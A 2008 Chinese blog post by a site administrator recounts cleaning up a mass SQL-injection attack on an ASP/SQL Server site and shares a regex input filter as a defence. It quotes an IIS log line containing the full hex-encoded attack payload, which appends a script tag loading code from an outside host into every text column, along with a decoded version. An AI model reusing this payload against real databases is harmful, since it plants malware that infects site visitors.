最近流行的数据库挂马的解决方法
作者:chxwei 来源:chxwei 发布时间:2008-07-05 16:48:00
前段时间,公司一个主要的网站数据库中个别表的数据经常被修改并挂马,由于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。但是过了一天,又被挂马,分号替换没有起到作用。
于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且里面的网址经常改变。
无奈,只能先找防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:
<%
Response.Buffer = True
Const EnableStopInjection = True
If EnableStopInjection = True Then
If Request.QueryString <> "" Then Call StopInjection(Request.QueryString)
If Request.Cookies <> "" Then Call StopInjection(Request.Cookies)
If Request.Form <> "" Then Call StopInjection(Request.Form)
End If
Sub StopInjection(Values)
Dim regEx
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern = "'|;|#|([\s\b+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[\s\b+]*)"
Dim sItem, sValue
For Each sItem In Values
sValue = Values(sItem)
If regEx.Test(sValue) Then
Response.Write "检测到SQL注入危险, 请确认你提交的信息。"
Response.End
End If
Next
Set regEx = Nothing
End Sub
%>
注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。
加上这段代码之后就再也没有出现被注入挂马的现象。
前几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:
2008-06-23 16:01:31 GET /xxx.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- - 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - www.xxx.com 200 0 271 1432 406
中间那段代码解密之后就是:
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。
如果网站IIS日志比较大,则可以考虑chxwei前几天写的“IIS网站日志导入分析工具”帮你查询分析。
最后总结一下,如果数据库数据库被修改并挂马:
1、先看IIS日志,被注入的页面是哪些,然后修改那些页面的代码,防止SQL注入。
2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。
出现SQL注入,肯定是网站代码存在漏洞,所以代码规范化才是重点。


猜你喜欢
- 有了这些理论的基础就可以分析一下ajax的具体实现了,下面就以注册过程中的检查用户名在数据库是不是存在并给用户提示这样一个ajax过程进行全
- 现在写个博客很不容易,还被抄袭或者转载,于是很多博主在文章底部会加入版权声明和链接。希望有些尊重版权的互联网人能在转载的时候给留个链接和出处
- 下面给大家介绍centos6.5 ssh配置与使用教程的知识,具体详情如下所示:#rpm -qa |grep ssh 检查是否装了SSH包#
- 怎样设置Godaddy的企业邮局呢?今天就教大家设置企业邮局。首先,要把域名的MX记录做一下解析:MX 0 – smtp.secureser
- 5天前美图秀秀[点击本站下载]软件才刚刚发布过2.0周年纪念版,今天又以迅猛速度推出2.0.1小幅度升级版。虽然只是小幅度的升级,但是这次开
- 10月21日消息,今天下午,PChome电脑之家网站在上海召开了2009年全体员工大会,CBSi全球高级副总裁兼中国区总裁王路、CBSi(中
- 1.将nginx的压缩包nginx-1.8.0.tar.gz上传到Linux服务器2.由于nginx是C语言开发的并且我们这里是通过编译ng
- 部分访客在博客评论后不习惯留下网站URL链接,使用z-blog博客的博主点击访客用户名就会跳转到Z-Blog官方网站首页,如果有其他的访客点
- 每次争取到一位新客户的时候你可能总是想向他/她证明你可以做好并且你渴望再次合作。如果你对于未来是否可以与此客户再次合作不是很确定,那么你可能
- Linux服务器误删了/usr/bin和/usr/sbin目录,然后,从别的地方拷贝这两个目录过来,发现可能很多是链接等非普通文件,可拷贝的
- Windows2003服务器安装及设置教程好久没有更新了,正好最近上了一台服务器,正好把剩下的几篇补全,今天先说的是MSSQL安全篇第二篇—
- 假设apache日志格式为:118.78.199.98 – - [09/Jan/2010:00:59:59 +0800] “GET /Pub
- VMware Workstation Pro下如何安装CentOS 7 64位服务器,本文为大家一步步讲解。CentOS 最小化安装1. 在
- 第一步:启用“性能”功能在FTP服务器中,点击“开始→运行”,在“运行”对话框中输入“perfmon.msc”命令后回车,弹出“性能”管理主
- 如今我们经常说起Web2.0,那么,什么是Web2.0?它与Web1.0有什么不同?事实上,Web2.0没有一个确切的概念,相对于Web1.
- 站长朋友都知道,一个个人博客,要宣传推广是较难的,要树立自己的品牌更加不容易。我的博客建设四个多月来,二个月时PR就由0上升为2。流量稳定上
- 第一步:数据表修改首先将数据表中的keyword的varchar()改为varchar(任意长度,例如200)dede_archivesde
- 在我们建站起初对于站点无论我们做的是什么样的站点,对自己的站点定位一定要很清晰,现在像很多朋友站点建立做的比较杂,甚至很多自己自己都不知道自
- 最新消息,中国最大的互联网社区平台及服务提供商康盛创想(Comsenz)旗下核心产品UCenter Home(简称UCHome)新版本研发已
- 为了实现在Internet中快速共享网络资源的目的,很多用户使用IIS服务器内置的FTP组件架设FTP服务器。由于它和Windows系统的紧